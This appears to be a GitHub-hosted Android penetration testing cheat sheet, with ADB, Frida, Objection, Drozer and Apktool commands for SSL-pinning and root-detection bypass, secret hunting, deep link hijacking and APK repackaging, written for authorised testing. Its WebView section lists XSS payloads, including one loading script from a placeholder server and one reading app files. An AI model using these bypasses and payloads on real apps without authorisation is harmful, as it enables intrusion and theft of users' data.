Android Penetration Testing Cheat Sheet

This is more of a checklist for myself. May contain useful tips and tricks. Still need to add a lot of things.

Everything was tested on Kali Linux v2023.1 (64-bit) and Samsung A5 (2017) with Android OS v8.0 (Oreo) and Magisk root v25.2.

Check Magisk if you wish to root your Android device. I have no liability over your actions.

For help with any of the tools type <tool_name> [-h | -hh | --help] or man <tool_name>.

If you didn't already, read OWAS MASTG (GitHub) and OWASP MASVS (GitHub). You can download OWASP MASTG checklist from here.

I also recommend reading HackTricks - Android Applications Pentesting.

In most cases, to be eligible for a bug bounty reward, you need to exploit a vulnerability with non-root privileges, possibly building your own "malicious" PoC app.

Find out more about my "malicious" PoC app from my other project.

Websites that you should use while writing the report:

My other cheat sheets:

Future plans:

modify networkSecurityConfig to add custom root CA certificates,
test widgets, push notifications, and Firebase,
SMALI code injection,
Flutter attacks,
create more Frida scripts.

0. Install Tools

WiFi ADB - Debug Over Air

Install WiFi ADB - Debug Over Air. To be used with ADB.

Figure 1 - WiFi ADB - Debug Over Air

Magisk Frida

Download Magisk Frida, then, open your Magisk app and install Frida by importing the downloaded archive.

Figure 2 - Magisk Frida

Magisk SQLite 3

Download Magisk SQLite 3, then, open your Magisk app and install SQLite 3 by importing the downloaded archive.

BusyBox

Additional set of tools for advanced users. Read more at busybox.net (Google Play).

Kali Linux Tools

Install required tools on your Kali Linux:

apt-get -y install docker.io

systemctl start docker

apt-get -y install adb dex2jar jadx nuclei radare2 sqlite3 sqlitebrowser xmlstarlet apksigner zipalign

pip3 install frida-tools objection file-scraper

More information about my tool can be found at ivan-sincek/file-scraper.

Make sure that Frida and Objection are always up to date:

pip3 install --upgrade frida-tools objection

Java

Install:

apt-get -y install default-jdk

More Java/JDK versions can be found at oracle.com/java/technologies/downloads/archive.

To switch between multiple Java/JDK versions, run:

update-alternatives --config java

update-alternatives --config javac

Apktool

Download and install:

apt-get -y install aapt

wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool -O apktool

chmod +x apktool && cp apktool /usr/local/bin/apktool

wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar -O apktool.jar

chmod +x apktool.jar && cp apktool.jar /usr/local/bin/apktool.jar

Mobile Security Framework (MobSF)

Install:

docker pull opensecurity/mobile-security-framework-mobsf

Run:

docker run -it --rm --name mobsf -p 8000:8000 opensecurity/mobile-security-framework-mobsf

Navigate to http://localhost:8000 using your preferred web browser.

Sometimes, for some reason, MobSF might not want to parse your APK; in that case, try to decode and repackage your APK, then, upload it again.

Uninstall:

docker image rm opensecurity/mobile-security-framework-mobsf

Drozer

Install:

docker pull fsecurelabs/drozer

Run:

docker run -it --rm --name drozer fsecurelabs/drozer

Download Drozer Agent and install it either manually or by using ADB.

Uninstall:

docker image rm fsecurelabs/drozer

Install Web Proxy Certificates

Open Burp Suite, navigate to Proxy --> Proxy Settings and save the certificate, e.g., as burp_suite_root_ca.der.

Figure 3 - Exporting Burp Suite Proxy Certificate

Open ZAP, navigate to Tools --> Options --> Network --> Server Certificates, and save the certificate, e.g., as zap_root_ca.cer.

Figure 4 - Exporting ZAP Certificate

Now, you can either transfer the files to your Android device manually or run:

adb push burp_suite_root_ca.der /storage/emulated/0/
adb push zap_root_ca.cer /storage/emulated/0/

/storage/emulated/0/ is the internal storage path that can be accessed through the UI, e.g., on your Android device, navigate to My Files --> Internal Storage.

To install, simply tap on the certificates and follow the on-screen instructions.

1. Basics

Android Debug Bridge (ADB)

Start the server:

adb start-server

Stop the server:

adb kill-server

List attached devices:

adb devices

Connect to a remote device using WiFi ADB:

adb connect 192.168.1.10:5555

Open a system shell as non-root:

adb shell

Open a system shell as root:

adb shell su

Show activity manager's full usage:

adb shell am -h

Install/Uninstall an APK

Install an APK (specify -s to install the APK to a removable storage):

adb install someapp.apk

adb install -s someapp.apk

Uninstall an APK (specify -k to keep the data and cache directories):

adb uninstall com.someapp.dev

adb uninstall -k com.someapp.dev

Download/Upload Files and Directories

Some of the internal storage paths:

cd /data/local/tmp/

cd /data/data/com.someapp.dev/cache/
cd /data/user/0/com.someapp.dev/cache/

cd /mnt/sdcard/Android/data/com.someapp.dev/cache/
cd /storage/emulated/0/Android/data/com.someapp.dev/cache/

cd /mnt/sdcard/Android/obb/com.someapp.dev/cache/
cd /storage/emulated/0/Android/obb/com.someapp.dev/cache/

cd /mnt/media_rw/3664-6132/Android/data/com.someapp.dev/files/
cd /storage/3664-6132/Android/data/com.someapp.dev/files/

Number 0 in both, /data/user/0/ and /storage/emulated/0/ paths, represents the first user in a multi-user device.

/storage/emulated/0/ is the internal storage path that can be accessed through the UI, e.g., on your Android device, navigate to My Files --> Internal Storage.

Don't confuse /mnt/sdcard/ path with a real removable storage path because sometimes such path is device specific, so you will need to search it on the internet or extract it using some Java code. In my case it is /mnt/media_rw/3664-6132/ path.

XML                     -->  Java Method                                -->  Path

<files-path/>           -->  getContext().getFilesDir()                 -->  /data/user/0/com.someapp.dev/files

<cache-path/>           -->  getContext().getCacheDir()                 -->  /data/user/0/com.someapp.dev/cache

<external-path/>        -->  Environment.getExternalStorageDirectory()  -->  /storage/emulated/0

<external-files-path/>  -->  getContext().getExternalFilesDir("")       -->  /storage/emulated/0/Android/data/com.someapp.dev/files

<external-cache-path/>  -->  getContext().getExternalCacheDir()         -->  /storage/emulated/0/Android/data/com.someapp.dev/cache

<external-media-path/>  -->  getContext().getExternalMediaDirs()        -->  /storage/emulated/0/Android/media/com.someapp.dev
                                                                             /storage/3664-6132/Android/media/com.someapp.dev
																   
-                       -->  getContext().getExternalFilesDirs("")      -->  /storage/emulated/0/Android/data/com.someapp.dev/files
                                                                             /storage/3664-6132/Android/data/com.someapp.dev/files

Tilde ~ is short for the root directory.

Download a file or directory from your Android device:

adb pull ~/somefile.txt ./

adb pull ~/somedir ./

Keep in mind that not all directories have the write and/or execute permission; regardless, you can always upload files to and execute from /data/local/tmp/ directory.

Upload a file or directory to your Android device:

adb push somefile.txt /data/local/tmp/

adb push somedir /data/local/tmp/

Empty directories will not be uploaded.

Bypassing Permission Denied

Download a file from your Android device:

adb shell su -c 'cat ~/somefile.txt' > somefile.txt

adb shell su -c 'run-as com.someapp.dev cat ~/somefile.txt' > somefile.txt

Download a directory from your Android device:

dir="somedir"; IFS=$'\n'; for subdir in $(adb shell su -c "find \"${dir}\" -type d"); do mkdir -p ".${subdir}"; done; for file in $(adb shell su -c "find \"${dir}\" -type f"); do adb shell su -c "cat \"${file// /\\\ }\"" > ".${file}"; done;

Upload a file or directory to your Android device:

src="somefile.txt"; dst="/data/data/com.someapp.dev/"; tmp="/data/local/tmp/"; base=$(basename "${src}"); adb push "${src}" "${tmp}"; adb shell su -c "cp -r \"${tmp}${base}\" \"${dst}\" && rm -rf \"${tmp}${base}\""

2. Inspect an APK

Pull an APK (base.apk)

adb shell pm list packages 'keyword' | cut -d ':' -f2

adb pull $(adb shell pm path com.someapp.dev | cut -d ':' -f2 | grep 'base.apk') ./

Pull an APK by specific keyword (one-liner):

keyword="keyword"; pkg=$(adb shell pm list packages "${keyword}" | head -n 1 | cut -d ':' -f2); adb pull $(adb shell pm path "${pkg}" | cut -d ':' -f2 | grep 'base.apk') ./

Decode an APK using Apktool. You should now see the decoded directory.

AndroidManifest.xml

Always inspect decoded/AndroidManifest.xml content for possible misconfigurations.

Things to look for in AndroidManifest.xml:

minSdkVersion, targetSDKVersion, and maxSdkVersion - app should not support outdated and vulnerable Android releases,
debuggable="true" - production app (i.e., build) should not be debuggable,
android:allowBackup="true" - app should not backup any sensitive data,
usesCleartextTraffic="true" - app should not use a cleartext HTTP communication,
networkSecurityConfig - inspect network security configurations for SSL/TLS pinnings, whitelisted domains, and cleartextTrafficPermitted="true" inside decoded/res/xml/ directory,
permission - look for unused [custom] permissions, and permissions with weak protection (protectionLevel),
exported="true" - enumerate exported activities, content providers, broadcast receivers, and services,
taskAffinity - activities missing this attribute might be vulnerable to taskjacking,
android:autoVerify="true" - deep links missing this attribute might be vulnerable to deep link hijacking,
etc.

Extract URL schemes from AndroidManifest.xml:

xmlstarlet sel -t -m '//activity/intent-filter/data[@android:scheme]' -v '@android:scheme' -n AndroidManifest.xml | sort -uf | tee url_schemes.txt

Extract URL schemes and corresponding hosts from AndroidManifest.xml:

xmlstarlet sel -t -m '//activity/intent-filter/data[@android:scheme and @android:host]' -v 'concat(@android:scheme, "://", @android:host, @android:pathPrefix, @android:path, @android:pathSufix)' -n AndroidManifest.xml  | sort -uf | tee url_schemes_hosts.txt

Resolve all @string keys from AndroidManifest.xml as key: value pairs:

dir="./"; for key in $(grep -Poi '(?<="\@string\/).+?(?=\")' "${dir}/AndroidManifest.xml" | sort -u); do val=$(xmlstarlet sel -t -v "/resources/string[@name='${key}']" "${dir}/res/values/strings.xml"); echo "${key}: ${val}"; done

strings.xml

Always inspect decoded/res/values/strings.xml for endpoints, sensitive data [in Base64 encoding], etc. For more examples, see section 4. Inspect Files.

3. Search for Files and Directories

Search for files and directories from the root directory:

find / -iname '*keyword*'

Search for files and directories in the app specific directories (run env in Objection):

cd /data/user/0/com.someapp.dev/

cd /storage/emulated/0/Android/data/com.someapp.dev/

cd /storage/emulated/0/Android/obb/com.someapp.dev/

If you want to download a whole directory from your Android device, see section Download/Upload Files and Directories.

I preffer downloading the app specific directories, and then doing the file inspection on my Kali Linux.

Search for files and directories from the current directory:

find . -iname '*keyword*'

for keyword in 'access' 'account' 'admin' 'card' 'cer' 'conf' 'cred' 'customer' 'email' 'history' 'info' 'json' 'jwt' 'key' 'kyc' 'log' 'otp' 'pass' 'pem' 'pin' 'plist' 'priv' 'refresh' 'salt' 'secret' 'seed' 'setting' 'sign' 'sql' 'token' 'transaction' 'transfer' 'tar' 'txt' 'user' 'zip' 'xml'; do find . -iname "*${keyword}*"; done

SharedPreferences

Search for files and directories in SharedPreferences insecure storage directory:

cd /data/user/0/com.someapp.dev/shared_prefs/

The files should not be world-readable (e.g., -rw-rw-r-- is not good, and -rw-rw---- is good):

ls /data/user/0/com.someapp.dev/shared_prefs/ -al

If the production build is debuggable, it is possible to get the read access rights to the app specific directories as a low-privileged user by leveraging run-as command.

Download a file from SharedPreferences as non-root:

adb exec-out run-as com.someapp.dev cat /data/user/0/com.someapp.dev/shared_prefs/somefile.xml > somefile.xml

SharedPreferences is unencrypted and backed up by default, and as such, should not contain any sensitive data after user logs out - it should be cleared by calling SharedPreferences.Editor.clear(). It should also be excluded from backups by specifying dataExtractionRules inside app's AndroidManifest.xml.

4. Inspect Files

Inspect memory dumps, binaries, files inside a decompiled APK, files inside the app specific directories, or any other files.

After you finish testing [and logout], don't forget to download the app specific directories and inspect all the files inside. Inspect what is new and what still persists after the logout.

There will be some false positive results since the regular expressions are not perfect. I prefer to use rabin2 over strings because it can read Unicode characters.

On your Android device, try to modify app's files to test the filesystem checksum validation, i.e., to test the file integrity validation.

Single File

Search for hardcoded sensitive data:

rabin2 -zzzqq somefile | grep -Pi '[^\w\d\n]+(?:basic|bearer)\ .+'

rabin2 -zzzqq somefile | grep -Pi '(?:access|account|admin|basic|bearer|card|conf|cred|customer|email|history|id|info|jwt|key|kyc|log|otp|pass|pin|priv|refresh|salt|secret|seed|setting|sign|token|transaction|transfer|user)[\w\d]*(?:\"\ *\:|\ *\=).+'

rabin2 -zzzqq somefile | grep -Pi '[^\w\d\n]+(?:bug|comment|fix|issue|note|problem|to(?:\_|\ |)do|work)[^\w\d\n]+.+'

Extract URLs, deep links, IPs, etc.:

rabin2 -zzzqq somefile | grep -Po '\w+\:\/\/[\w\-\.\@\:\/\?\=\%\&\#]+' | sort -uf | tee urls.txt

rabin2 -zzzqq somefile | grep -Po '(?:\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]?)(?:\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}' | sort -uf | tee ips.txt

Extract all strings and decode Base64 strings:

rabin2 -zzzqq somefile | sort -uf > strings.txt

grep -Po '(?:[a-zA-Z0-9\+\/]{4})*(?:[a-zA-Z0-9\+\/]{4}|[a-zA-Z0-9\+\/]{3}\=|[a-zA-Z0-9\+\/]{2}\=\=)' strings.txt | sort -uf > base64.txt

for string in $(cat base64.txt); do res=$(echo "${string}" | base64 -d 2>/dev/null | grep -PI '[\s\S]+'); if [[ ! -z $res ]]; then echo -n "${string}\n${res}\n\n"; fi; done | tee base64_decoded.txt

Multiple Files

Search for hardcoded sensitive data:

IFS=$'\n'; for file in $(find . -type f); do echo -n "\nFILE: \"${file}\"\n"; rabin2 -zzzqq "${file}" 2>/dev/null | grep -Pi '[^\w\d\n]+(?:basic|bearer)\ .+'; done

IFS=$'\n'; for file in $(find . -type f); do echo -n "\nFILE: \"${file}\"\n"; rabin2 -zzzqq "${file}" 2>/dev/null | grep -Pi '(?:access|account|admin|basic|bearer|card|conf|cred|customer|email|history|id|info|jwt|key|kyc|log|otp|pass|pin|priv|refresh|salt|secret|seed|setting|sign|token|transaction|transfer|user)[\w\d]*(?:\"\ *\:|\ *\=).+'; done

IFS=$'\n'; for file in $(find . -type f); do echo -n "\nFILE: \"${file}\"\n"; rabin2 -zzzqq "${file}" 2>/dev/null | grep -Pi '[^\w\d\n]+(?:bug|comment|fix|issue|note|problem|to(?:\_|\ |)do|work)[^\w\d\n]+.+'; done

Extract URLs, deep links, IPs, etc.:

IFS=$'\n'; for file in $(find . -type f); do rabin2 -zzzqq "${file}" 2>/dev/null; done | grep -Po '\w+\:\/\/[\w\-\.\@\:\/\?\=\%\&\#]+' | grep -Piv '\.(css|gif|jpeg|jpg|ogg|otf|png|svg|ttf|woff|woff2)' | sort -uf | tee urls.txt

IFS=$'\n'; for file in $(find . -type f); do rabin2 -zzzqq "${file}" 2>/dev/null; done | grep -Po '(?:\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]?)(?:\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}' | sort -uf | tee ips.txt

Extract all strings and decode Base64 strings:

IFS=$'\n'; for file in $(find . -type f); do rabin2 -zzzqq "${file}" 2>/dev/null; done | sort -uf > strings.txt

grep -Po '(?:[a-zA-Z0-9\+\/]{4})*(?:[a-zA-Z0-9\+\/]{4}|[a-zA-Z0-9\+\/]{3}\=|[a-zA-Z0-9\+\/]{2}\=\=)' strings.txt | sort -uf > base64.txt

for string in $(cat base64.txt); do res=$(echo "${string}" | base64 -d 2>/dev/null | grep -PI '[\s\S]+'); if [[ ! -z $res ]]; then echo -n "${string}\n${res}\n\n"; fi; done | tee base64_decoded.txt

File Scraper

Automate all of the above file inspection (and more) with a single tool, also using multithreading.

apt-get -y install radare2

pip3 install file-scraper

file-scraper -dir source -o file_scraper_results.html -e default

More about my other project at ivan-sincek/file-scraper.

SQLite 3

Use ADB to download database files, and then open them using DB Browser for SQLite.

To inspect the content, navigate to Browse Data tab, expand Table dropdown menu, and select the desired table.

Figure 5 - DB Browser for SQLite

To inspect and/or edit database files on your Android device directly, use SQLite 3; ADB to your Android device and run the following commands:

sqlite3 somefile

.dump

.tables

SELECT * FROM sometable;

.quit

Nuclei

Download mobile Nuclei templates:

git clone https://github.com/optiv/mobile-nuclei-templates ~/mobile-nuclei-templates

Decode an APK using Apktool.

Search for hardcoded sensitive data:

echo decoded | nuclei -t ~/mobile-nuclei-templates/Keys/ -o nuclei_keys_results.txt

cat nuclei_keys_results.txt | grep -Po '(?<=\]\ ).+' | sort -uf > nuclei_keys_results_sorted.txt

echo decoded | nuclei -t ~/mobile-nuclei-templates/Android/ -o nuclei_android_results.txt

cat nuclei_android_results.txt | grep -Po '(?<=\]\ ).+' | sort -uf > nuclei_android_results_sorted.txt

Backups

Create a backup of the whole Android device:

adb backup -system -apk -shared -all -f backup.ab

Create a backup of a specific app:

adb backup -nosystem -noapk -noshared -f backup.ab com.someapp.dev

App should not backup any sensitive data.

Restore from a backup:

adb restore backup.ab

--

Download the latest Android Backup Extrator, and repackage a backup to a browsable archive (TAR):

java -jar abe.jar unpack backup.ab backup.tar

You can try to tamper with a browsable archive (TAR) and repackage it back to a restorable format:

java -jar abe.jar pack backup.tar backup.ab

5. SpotBugs

SAST tool for identifying security vulnerabilities inside an APK, technically, inside a JAR.

[1] Convert an APK to a JAR:

d2j-dex2jar base.apk -o base.jar

[2] Decompile the JAR using jadx. You should now see the source_jar directory.

[3] Download the latest version of the tool from GitHub, unpack the archive, and open your preferred console from the /lib/ directory.

Run with GUI:

java -jar spotbugs.jar -gui

Figure 6 - SpotBugs

Run without the GUI:

java -jar spotbugs.jar -textui -progress -sourcepath /root/Desktop/source_jar/sources -html=/root/Desktop/spotbugs_results.html /root/Desktop/base.jar

More about the tool at spotbugs/spotbugs.

6. Deep Links

Test /.well-known/assetlinks.json using developers.google.com/digital-asset-links/tools/generator.

Deep links can somtimes bypass authentication, including biometrics.

Don't forget to test a deep link for a cross-site scripting (XSS), open redirect, etc., in case it is opening a WebView.

Create an HTML template to manually test deep links (see also ##):

mkdir android_deep_links

# multiple URL schemes

for scheme in $(cat url_schemes.txt); do for url in $(cat urls.txt | grep -Poi "${scheme}\:\/\/.+"); do if [[ ! -z $url ]]; then echo -n "<a href='${url}'>${url}</a>\n<br><br>\n" | tee -a "android_deep_links/${scheme}_deep_links.html"; fi; done; done

# single URL scheme

scheme="somescheme"; for string in $(cat urls.txt | grep -Poi "${scheme}\:\/\/.+"); do echo -n "<a href='${string}'>${string}</a>\n<br><br>\n"; done | tee -a "android_deep_links/${scheme}_deep_links.html"

python3 -m http.server 9000 --directory android_deep_links

For url_schemes.txt see section AndroidManifest.xml, and for urls.txt see section 4. Inspect Files.

Open a deep link using ADB:

adb shell am start -W -a android.intent.action.VIEW -d 'somescheme://com.someapp.dev/somepath?somekey=somevalue'

If you see a pop-up showing multiple apps to open the same deep link, it is very likely that this deep link could be hijacked.

Android App Link Verification Tester

Install:

git clone https://github.com/inesmartins/Android-App-Link-Verification-Tester && cd Android-App-Link-Verification-Tester

pip3 install -r requirements.txt

Decode an APK using Apktool. You should now see the decoded directory.

Get deep links:

python3 deeplink_analyser.py -op list-applinks -m decoded/AndroidManifest.xml -s decoded/res/values/strings.xml

Build PoC:

python3 deeplink_analyser.py -op build-poc -m decoded/AndroidManifest.xml -s decoded/res/values/strings.xml

Verify app links (valid app links have http[s] scheme):

python3 deeplink_analyser.py -op verify-applinks -apk base.apk -p com.someapp.dev

Deep Link Hijacking

Hijacking a deep link after a successful login on a website can easly lead to session hijacking.

Properly implemented app links cannot be hijacked.

To hijack a deep link, specify it in AndroidManifest.xml inside a "malicious" PoC app:

<data
    android:scheme="somescheme"
    android:host="somehost"
/>

Increasing the priority might also increase your chances of hijacking a deep link:

<intent-filter android:priority="999">

After that, you will need to find a way to trigger your target deep link.

Find out how to perform deep link hijacking using a "malicious" PoC app from my other project.

7. WebViews

Unless there is an explicit need, WebView URLs should not be user-controlled, e.g., through intents.

WebViews can easily lead to cross-site scripting (XSS), arbitrary file read/write, data leakage and exfiltration, remote code execute (RCE), etc.

Things to look for in the source code:

WebView
setJavaScriptEnabled
- default: false
setAllowFileAccess
- default: false on Android OS v11.0+ and API v30+
setAllowUniversalAccessFromFileURLs
- default: false on Android OS v4.1+ and API v16+
setAllowFileAccessFromFileURLs
- default: false on Android OS v4.1+ and API v16+
- value is ignored if getAllowUniversalAccessFromFileURLs is true
addJavascriptInterface
- default: only public methods annotated with @JavascriptInterface on Android OS v4.2+ and API v17+ can be added; otherwise, all public methods (including inherited ones) can be added
loadUrl

Simple cross-site scripting (XSS) payloads:

javascript:alert(1)

<script>alert(1)</script>

<script>alert(someJavaScriptBridge.someMethod())</script>

<script src="https://myserver.com/xss.js"></script>

<img src="https://github.com/favicon.ico" onload="alert(1)">

Arbitrary file read using the file:// URL scheme:

file:///data/data/com.someapp.dev/shared_prefs/somefile.xml

Arbitrary file read using a cross-site scripting (XSS):

<script>
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "file:///data/data/com.someapp.dev/shared_prefs/somefile.xml", true); // async
    xhr.onreadystatechange = function() {
        if (xhr.readyState == XMLHttpRequest.DONE) {
            alert(xhr.responseText); // for demonstration purposes
        }
    }
    xhr.send();
</script>

After you finish testing [and logout], don't forget to download the app specific directories and inspect all the files inside. Inspect what is new and what still persists after the logout.

WebView specific directories to look for:

app_webview
blob_storage
Cookies
pref_store
Service Worker
Session Storage
Web Data

8. Frida

Useful resources:

List processes:

frida-ps -Uai

frida-ps -Uai | grep -i 'keyword'

Get PID for a specified keyword:

frida-ps -Uai | grep -i 'keyword' | cut -d ' ' -f 1

Discover internal methods/calls:

frida-discover -U -f com.someapp.dev | tee frida_discover.txt

Trace internal methods/calls:

frida-trace -U -p 1337

frida-trace -U -p 1337 -i 'recv*' -i 'send*'

Frida Scripts

Bypass SSL Pinning using android-ssl-pinning-bypass-2 script:

frida -U -no-pause -l android-ssl-pinning-bypass-2.js -f com.someapp.dev

frida -U -no-pause --codeshare ivan-sincek/android-ssl-pinning-bypass-2 -f com.someapp.dev

I prefer to use the built-in method in Objection.

For this Frida script to work, you need to push your Burp Proxy or ZAP certificate to a specific location with the specific name cacert.der:

adb push cacert.der /data/local/tmp/cacert.der

Bypass SSL Pinning using android-ssl-pinning-bypass script:

frida -U -no-pause -l android-ssl-pinning-bypass.js -f com.someapp.dev

frida -U -no-pause --codeshare ivan-sincek/android-ssl-pinning-bypass -f com.someapp.dev

I prefer to use the built-in method in Objection.

Monitor all intent calls, including deep links, using android-intent-monitor script:

frida -U -no-pause -l android-intent-monitor.js -f com.someapp.dev

frida -U -no-pause --codeshare ivan-sincek/android-intent-monitor -f com.someapp.dev

9. Objection

Useful resources:

sensepost/objection

Run:

objection -g com.someapp.dev explore

Run a Frida script in Objection:

import somescript.js

objection -g com.someapp.dev explore --startup-script somescript.js

Get environment variables:

env

List KeyStore:

android keystore list

Dump app's memory to a file:

memory dump all mem.dmp

Dump app's memory after, e.g., 10 minutes of inactivity, then, check if sensitive data is still in the memory. See section 4. Inspect Files.

In case Objection detaches from the app, use the process ID to attach it back without restarting the app.

Search app's memory directly:

memory search 'somestring' --string

List classes and methods:

android hooking list classes

android hooking search classes com.someapp.dev
android hooking search classes 'keyword'

android hooking list class_methods 'someclass'
android hooking search methods com.someapp.dev 'someclass'

Hook on a class or method:

android hooking watch class 'someclass'

android hooking watch class_method 'somemethod' --dump-args --dump-backtrace --dump-return

Change the method's return value:

android hooking set return_value 'somemethod' 'somevalue'

Monitor the clipboard:

android clipboard monitor

Bypasses

Bypass a root detection:

android root disable --quiet

objection -g com.someapp.dev explore --startup-command 'android root disable --quiet'

Bypass SSL pinning:

android sslpinning disable --quiet

objection -g com.someapp.dev explore --startup-command 'android sslpinning disable --quiet'

Also, you can import Frida script.

10. Drozer

Connect to a remote agent:

drozer console connect --server 192.168.1.10

List modules and show module details:

list

run somemodule --help

List / search packages:

run app.package.list

run app.package.list -f 'keyword'

run app.package.list -p android.permission.SOME_PERMISSION

run app.package.backup

run app.package.debuggable

Show a package information:

run app.package.info -a com.someapp.dev

Show app's AndroidManifest.xml:

run app.package.manifest com.someapp.dev

In case Drozer did not fetch the whole manifest file, decode an APK using Apktool and inspect the file manually.

Show app's attack surface:

run app.package.attacksurface com.someapp.dev

Intents

Intents, together with other Android components, can easily lead to cross-site scripting (XSS), arbitrary file read/write, data leakage and exfiltration, remote code execute (RCE), etc.

Read more about intents and intent filters here.

List exported and protected (unexported) activities and their intents:

run app.activity.info -i -a com.someapp.dev

run app.activity.info -u -i -a com.someapp.dev

Examine the launch intent (main activity):

run app.package.launchintent com.someapp.dev

List browsable URIs (deep links):

run scanner.activity.browsable -a com.someapp.dev

You will need to reverse engineer the APK and look into the source code to find out what parameters need to be sent to the intent to exploit it.

Start an activity:

run app.activity.start --component com.someapp.dev com.someapp.dev.SomeActivity

run app.activity.start --component com.someapp.dev com.someapp.dev.SomeActivity --action android.intent.action.SOME_ACTION --data-uri somescheme://somehost --extra integer somekey somevalue --extra string somekey somevalue

Use --help to see more options.

In Drozer, you cannot pass arrays, lists, objects, etc., to an intent due to the console line interface (CLI) limitations, but the same can be done if you build your own "malicious" app.

Content Providers

Broadcast Receivers

Services

11. Intent Injections

Access a protected (unexported) component, such as a private file or an SQLite content provider, using an exported (proxy) intent.

This can easily lead to arbitrary file read/write, data leakage and exfiltration, remote code execute (RCE), etc.

This can only be done using a "malicious" PoC app, as it is too complex for tools such as Drozer.

Find out how to perform intent injections using a "malicious" PoC app from my other project.

12. Taskjacking

Find out how to perform taskjacking using a "malicious" PoC app from my other project.

Sometimes, this is by design, to improve the user experience (UX) when "switching" between two apps.

13. Tapjacking

Find out how to perform tapjacking using a "malicious" PoC app from my other project.

App should prevent overlays on sensitive data inputs by specifying android:filterTouchesWhenObscured="true" in its layout files.

14. Decompile an APK

Decompile an APK:

jadx --threads-count $(grep -c 'processor' /proc/cpuinfo) -d /root/Desktop/source/ /root/Desktop/base.apk

d2j-dex2jar + jadx actually gives the best results.

Convert an APK to a JAR:

d2j-dex2jar base.apk -o base.jar

Decompile a JAR:

jadx --threads-count $(grep -c 'processor' /proc/cpuinfo) -d /root/Desktop/source_jar/ /root/Desktop/base.jar

Decompiling a JAR will give you a different directory structure, so you might want to decompile both, base.jar and base.apk.

Make sure to specify a full path to the output directory; otherwise, it will default to /usr/share/jadx/bin/ directory (i.e., to the root directory).

Make sure to specify a full path to the base.jar or base.apk; otherwise, JADX might not recognize it.

To inspect the source code using GUI, run the following command and open either base.jar or base.apk:

jadx-gui

Resolve java.lang.OutOfMemoryError issue by modifying /usr/bin/d2j-dex2jar and increasing the heap size specified in -Xms and -Xmx parameters, for example:

java -Xms1024m -Xmx4096m -classpath "${_classpath}" "com.googlecode.dex2jar.tools.Dex2jarCmd" "$@"

15. Repackage an APK

Decode

Get the SMALI source code from an APK. Convenient for quickly fetching and inspecting app's AndroidManifest.xml.

apktool decode base.apk -o decoded

Decode an APK without decoding the sources and resources:

apktool decode -r -s base.apk -o decoded

Repackage

Create a repackaged APK from the decoded directory:

apktool build -f decoded -o repackaged.apk

ZIP align all the files inside the repackaged APK and check the alignments:

zipalign -v 4 repackaged.apk

zipalign -c -v 4 repackaged.apk

Code Sign

keytool and jarsigner come pre-installed with Java. However, use apksigner for the best results because it can use v1-4 signature schemes; while jarsigner can only use v1 signature scheme.

Generate a code signing certificate:

keytool -genkey -keyalg RSA -validity 365 -keysize 2048 -storetype PKCS12 -alias apk_rsa_priv -keystore apk_rsa_priv.key -storepass 12345678

Code sign the repackaged APK:

apksigner sign --ks apk_rsa_priv.key --ks-pass "pass:12345678" repackaged.apk

jarsigner -sigalg SHA256withRSA -digestalg SHA-256 -tsa http://timestamp.digicert.com -keystore apk_rsa_priv.key -storepass 12345678 repackaged.apk apk_rsa_priv

Verify the repackaged APK's code signature:

apksigner verify repackaged.apk

jarsigner -verify -verbose -certs repackaged.apk

16. Miscellaneous

Monitor the System Log

On your Kali Linux, run the following command:

adb logcat | grep 1337

Or, get the PID from a keyword:

keyword="keyword"; adb logcat | grep $(frida-ps -Uai | grep -i "${keyword}" | tr -s '[:blank:]' ' ' | cut -d ' ' -f 1)

Monitor File Changes

On your Kali Linux, download the latest fsmon version from GitHub, upload it to your Android device, give it necessary permissions, and run it:

adb push fsmon-and-arm /data/local/tmp/

adb shell su

chmod +x /data/local/tmp/fsmon-and-arm

/data/local/tmp/fsmon-and-arm /data/data/com.someapp.dev/

Always look for created or cached files, images/screenshots, etc.

Sensitive files such as know your customer (KYC) and similar, should not persists in the app specific directories on the user device after the file upload. Sensitive files should not be stored in /tmp/ directory nor similar system-wide directories.

Images and screenshots path:

cd /mnt/sdcard/DCIM/
cd /storage/emulated/0/DCIM/

cd /mnt/media_rw/3664-6132/DCIM/
cd /storage/3664-6132/DCIM/

cd /data/system_ce/0/snapshots/

Don't confuse /mnt/sdcard/ path with a real removable storage path because sometimes such path is device specific, so you will need to search it on the internet or extract it using some Java code. In my case it is /mnt/media_rw/3664-6132/ path.

17. Tips and Security Best Practices

Bypass any keyboard restriction by copying and pasting data into an input field.

Access tokens should be short lived, and if possible, invalidated on logout.

Don't forget to test widgets, push notifications, and Firebase.

Sometimes, deep links and widgets can bypass authentication, including biometrics.

Only if explicitly allowed, try flooding 3rd party APIs to cause possible monetary damage to the company, or denial-of-service (DoS) by exhausting the allowed quotas/limits.

App should not disclose sensitive data in the predictive text (due to incorrectly defined input field type), app switcher, and push notifications.

App should warn a user when taking a screenshot of sensitive data.

App should warn a user that it is trivial to bypass biometrics authentication if Android device is jailbroken.

Production app (i.e., build) should not be debuggable.

18. Useful Websites and Tools

URL	Description
developer.android.com	Official Android documentation.
streaak/keyhacks	Validate various API keys.
zxing.org/w/decode.jspx	Decode QR codes.
odinforum.com	Firmware flashing tool for Samsung devices.
developer.samsung.com/android-usb-driver	USB driver for Samsung devices.
samfrew.com	Firmwares for Samsung devices.
xdaforums.com	Mobile software development forum.

19. Vulnerable Apps

Vulnerable apps for learning purposes:

Name		Name	Last commit message	Last commit date
Latest commit History 2 Commits
binaries		binaries
img		img
scripts		scripts
.gitattributes		.gitattributes
LICENSE		LICENSE
README.md		README.md

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Android Penetration Testing Cheat Sheet

Table of Contents

0. Install Tools

WiFi ADB - Debug Over Air

Magisk Frida

Magisk SQLite 3

BusyBox

Kali Linux Tools

Java

Apktool

Mobile Security Framework (MobSF)

Drozer

Install Web Proxy Certificates

1. Basics

Android Debug Bridge (ADB)

Install/Uninstall an APK

Download/Upload Files and Directories

Bypassing Permission Denied

2. Inspect an APK

Pull an APK (base.apk)

AndroidManifest.xml

strings.xml

3. Search for Files and Directories

SharedPreferences

4. Inspect Files

Single File

Multiple Files

